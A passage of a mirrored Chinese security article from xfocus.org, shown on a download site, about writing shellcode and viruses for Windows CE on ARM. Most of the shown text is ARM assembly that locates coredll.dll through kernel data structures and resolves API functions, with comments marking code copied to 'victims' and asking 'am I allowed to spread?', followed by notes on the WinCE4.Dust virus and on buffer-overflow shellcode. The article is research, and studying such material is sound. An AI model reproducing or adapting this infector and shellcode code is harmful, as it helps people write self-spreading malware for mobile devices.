⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 747.html

📁 里面收集的是发表在www.xfocus.org上的文章
💻 HTML
📖 第 1 页 / 共 3 页
字号:
&nbsp;&nbsp; cmpeq&nbsp;&nbsp; r3, #0<br />
&nbsp;&nbsp; moveq&nbsp;&nbsp; pc, lr<br />
<br />
&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp;r2, r3<br />
&nbsp;&nbsp; beq&nbsp;&nbsp;&nbsp;&nbsp;wstrcmp_iterate<br />
<br />
&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp;pc, lr<br />
&nbsp;&nbsp; ENDP<br />
<br />
; output:<br />
;&nbsp;&nbsp;r0 - coredll base addr<br />
;&nbsp;&nbsp;r1 - export section addr<br />
get_export_section&nbsp;&nbsp; PROC<br />
&nbsp;&nbsp; stmdb&nbsp;&nbsp; sp!, {r4 - r9, lr}<br />
<br />
&nbsp;&nbsp; ldr&nbsp;&nbsp;&nbsp;&nbsp;r4, =0xffffc800&nbsp;&nbsp; ; KDataStruct<br />
&nbsp;&nbsp; ldr&nbsp;&nbsp;&nbsp;&nbsp;r5, =0x324&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; aInfo[KINX_MODULES]<br />
<br />
&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp;r5, r4, r5<br />
&nbsp;&nbsp; ldr&nbsp;&nbsp;&nbsp;&nbsp;r5, [r5]<br />
<br />
&nbsp;&nbsp; ; r5 now points to first module<br />
<br />
&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp;r6, r5<br />
&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp;r7, #0<br />
<br />
iterate<br />
&nbsp;&nbsp; ldr&nbsp;&nbsp;&nbsp;&nbsp;r0, [r6, #8]&nbsp;&nbsp;&nbsp;&nbsp; ; get dll name<br />
&nbsp;&nbsp; adr&nbsp;&nbsp;&nbsp;&nbsp;r1, coredll<br />
&nbsp;&nbsp; bl&nbsp;&nbsp;&nbsp;&nbsp;wstrcmp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; compare with coredll.dll<br />
<br />
&nbsp;&nbsp; ldreq&nbsp;&nbsp; r7, [r6, #0x7c]&nbsp;&nbsp;&nbsp;&nbsp;; get dll base<br />
&nbsp;&nbsp; ldreq&nbsp;&nbsp; r8, [r6, #0x8c]&nbsp;&nbsp;&nbsp;&nbsp;; get export section rva<br />
<br />
&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp;r9, r7, r8<br />
&nbsp;&nbsp; beq&nbsp;&nbsp;&nbsp;&nbsp;got_coredllbase&nbsp;&nbsp;&nbsp;&nbsp;; is it what we&#39;re looking for?<br />
<br />
&nbsp;&nbsp; ldr&nbsp;&nbsp;&nbsp;&nbsp;r6, [r6, #4]<br />
&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp;r6, #0<br />
&nbsp;&nbsp; cmpne&nbsp;&nbsp; r6, r5<br />
&nbsp;&nbsp; bne&nbsp;&nbsp;&nbsp;&nbsp;iterate&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; nope, go on<br />
<br />
got_coredllbase<br />
&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp;r0, r7<br />
&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp;r1, r8, r7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; yep, we&#39;ve got imagebase<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; and export section pointer<br />
<br />
&nbsp;&nbsp; ldmia&nbsp;&nbsp; sp!, {r4 - r9, pc}<br />
&nbsp;&nbsp; ENDP<br />
<br />
coredll&nbsp;&nbsp; DCB&nbsp;&nbsp;&nbsp;&nbsp;&quot;c&quot;, 0x0, &quot;o&quot;, 0x0, &quot;r&quot;, 0x0, &quot;e&quot;, 0x0, &quot;d&quot;, 0x0, &quot;l&quot;, 0x0, &quot;l&quot;, 0x0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DCB&nbsp;&nbsp;&nbsp;&nbsp;&quot;.&quot;, 0x0, &quot;d&quot;, 0x0, &quot;l&quot;, 0x0, &quot;l&quot;, 0x0, 0x0, 0x0<br />
<br />
&nbsp;&nbsp; ; basic string compare<br />
bstrcmp&nbsp;&nbsp; PROC<br />
bstrcmp_iterate<br />
&nbsp;&nbsp; ldrb&nbsp;&nbsp;&nbsp;&nbsp;r9,&nbsp;&nbsp;[r7], #1<br />
&nbsp;&nbsp; ldrb&nbsp;&nbsp;&nbsp;&nbsp;r10, [r8], #1<br />
<br />
&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; r9,&nbsp;&nbsp;#0<br />
&nbsp;&nbsp; cmpeq&nbsp;&nbsp; r10, #0<br />
&nbsp;&nbsp; moveq&nbsp;&nbsp; pc, lr<br />
<br />
&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp;r9, r10<br />
&nbsp;&nbsp; beq&nbsp;&nbsp;&nbsp;&nbsp;bstrcmp_iterate<br />
<br />
&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp;pc, lr<br />
&nbsp;&nbsp; ENDP<br />
<br />
; r0 - coredll base addr<br />
; r1 - export section addr<br />
; r2 - function name addr<br />
lookup_imports&nbsp;&nbsp; PROC<br />
&nbsp;&nbsp; stmdb&nbsp;&nbsp; sp!, {r4 - r6, lr}<br />
<br />
&nbsp;&nbsp; ldr&nbsp;&nbsp;&nbsp;&nbsp;r4, [r1, #0x20]&nbsp;&nbsp;&nbsp;&nbsp;; AddressOfNames<br />
&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp;r4, r4, r0<br />
<br />
&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp;r6, #0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; counter<br />
lookup_imports_iterate<br />
&nbsp;&nbsp; ldr&nbsp;&nbsp;&nbsp;&nbsp;r7, [r4], #4<br />
&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp;r7, r7, r0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; function name ponter<br />
&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp;r8, r2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; find function name<br />
<br />
&nbsp;&nbsp; bl&nbsp;&nbsp;&nbsp;&nbsp; bstrcmp<br />
<br />
&nbsp;&nbsp; addne&nbsp;&nbsp;r6, r6, #1<br />
&nbsp;&nbsp; bne&nbsp;&nbsp;&nbsp;&nbsp;lookup_imports_iterate<br />
<br />
&nbsp;&nbsp; ldr&nbsp;&nbsp;&nbsp;&nbsp;r5, [r1, #0x24]&nbsp;&nbsp;&nbsp;&nbsp;; AddressOfNameOrdinals<br />
&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp;r5, r5, r0<br />
&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp;r6, r6, r6<br />
&nbsp;&nbsp; ldrh&nbsp;&nbsp; r9, [r5, r6]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Ordinals<br />
&nbsp;&nbsp; ldr&nbsp;&nbsp;&nbsp;&nbsp;r5, [r1, #0x1c]&nbsp;&nbsp;&nbsp;&nbsp;; AddressOfFunctions<br />
&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp;r5, r5, r0<br />
&nbsp;&nbsp; ldr&nbsp;&nbsp;&nbsp;&nbsp;r9, [r5, r9, LSL #2] ; function address rva<br />
&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp;r9, r9, r0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; function address<br />
<br />
&nbsp;&nbsp; ldmia&nbsp;&nbsp;&nbsp;&nbsp;sp!, {r4 - r6, pc}<br />
&nbsp;&nbsp; ENDP<br />
<br />
mb&nbsp;&nbsp; DCB&nbsp;&nbsp;&nbsp;&nbsp; &quot;MessageBoxW&quot;, 0x0<br />
tp&nbsp;&nbsp; DCB&nbsp;&nbsp;&nbsp;&nbsp; &quot;TerminateProcess&quot;, 0x0,0x0,0x0,0x0<br />
&nbsp;&nbsp;&nbsp;&nbsp; ALIGN&nbsp;&nbsp; 4<br />
<br />
&nbsp;&nbsp; ; Dear User, am I allowed to spread?<br />
<br />
text DCB&nbsp;&nbsp;&nbsp;&nbsp;&quot;H&quot;, 0x0, &quot;e&quot;, 0x0, &quot;l&quot;, 0x0, &quot;l&quot;, 0x0, &quot;o&quot;, 0x0, &quot; &quot;, 0x0<br />
&nbsp;&nbsp;&nbsp;&nbsp; DCB&nbsp;&nbsp;&nbsp;&nbsp;&quot;W&quot;, 0x0, &quot;i&quot;, 0x0, &quot;n&quot;, 0x0, &quot;C&quot;, 0x0, &quot;E&quot;, 0x0, &quot;!&quot;, 0x0<br />
&nbsp;&nbsp;&nbsp;&nbsp; DCB&nbsp;&nbsp;&nbsp;&nbsp;0x0, 0x0, 0x0, 0x0<br />
&nbsp;&nbsp;&nbsp;&nbsp; ALIGN&nbsp;&nbsp;&nbsp;&nbsp;4<br />
<br />
&nbsp;&nbsp; LTORG<br />
test_end<br />
<br />
&nbsp;&nbsp; ; the code after test_end doesn&#39;t get copied to victims<br />
<br />
WinMainCRTStartup PROC<br />
&nbsp;&nbsp; b&nbsp;&nbsp;&nbsp;&nbsp; test_code_start<br />
&nbsp;&nbsp; ENDP<br />
<br />
&nbsp;&nbsp; ; first generation entry point<br />
host_entry<br />
&nbsp;&nbsp; mvn&nbsp;&nbsp;&nbsp;&nbsp;r0, #0<br />
&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp;pc, lr<br />
&nbsp;&nbsp; END<br />
<br />
代码还是比较傻,如果能把Win32 shellcode的hash引入可能代码会更好看一些。Ratter/29A在WinCE4.Dust虽然还只是个概念病毒,但是病毒的基本技术它都已经具备了,所以不难相信不久就会有更多的Windows CE病毒。如果作者不怀好意,用KernelIoControl把系统引导入BootLoader模式,那么对于很多非专业的用户来说无疑象遭遇CIH病毒一般可恶。<br />
<br />
通过上面的代码不难相信很容易就能写出Windows CE下的shellcode,Seth Fogie在最近的defcon等会议上提到Windows CE下缓冲区溢出,随着PDA网络化程度越来越高,以及和手机的结合,相信Windows CE下的缓冲区溢出不久就会流行起来。不过Windows CE下缓冲区溢出可能会遭遇几个问题:<br />
<br />
1. Windows CE是一个Unicode环境,它可能会把用户输入的数据转成Unicode格式。<br />
2. 要在Windows CE上写解码shellcode可能会有些问题,首先arm没有xor指令,另外还有可能遭遇指令缓存的问题。不是很清楚Windows CE对软中断指令swi怎么支持。<br />
3. 不同厂商不同版本的PDA可能存在这样那样的差异,导致攻击程序无法通用。<br />
<br />
不过Windows CE现在已经发展的很成熟了,可以进来看看。<br />
<br />
--[ 4. 参考资料:<br />
<br />
1. ARM ASSEMBLER<br />
&nbsp;&nbsp; <a href='http://www.heyrick.co.uk/assembler/index.html' target='_blank'>http://www.heyrick.co.uk/assembler/index.html</a><br />
2. misc notes on the xda and windows ce<br />
&nbsp;&nbsp; <a href='http://www.xs4all.nl/~itsme/projects/xda/' target='_blank'>http://www.xs4all.nl/~itsme/projects/xda/</a><br />
3. Windows CE 3.0 Source Code<br />
&nbsp;&nbsp; <a href='http://msdn.microsoft.com/embedded/prevver/ce3/download/source/default.aspx' target='_blank'>http://msdn.microsoft.com/embedded/prevver/ce3/download/source/default.aspx</a><br />
4. Details Emerge on the First Windows Mobile Virus<br />
&nbsp;&nbsp; <a href='http://www.informit.com/articles/article.asp?p=337071' target='_blank'>http://www.informit.com/articles/article.asp?p=337071</a><br />
<br />
历史记录:<br />
<br />
1. 2004.11.09修正搜索API代码的一个错误。<br />
<br />
广告时间:<br />
<br />
本文将进一步扩充整理,作为XFocus Security Team的《网络渗透技术》(暂定名)一书中《Windows CE平台缓冲区溢出利用技术》一节。XFocus Security Team将在<a href='https://www.xfocus.net/bbs/index.php?act=ST&f=2&t=42618' target='_blank'>安全焦点技术研究版</a>对本书做全面技术支持。
	</td>
  </tr>
</table>
<div class="footer">
  Copyright &copy; 1998-2003 XFOCUS Team. All Rights Reserved
</div>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -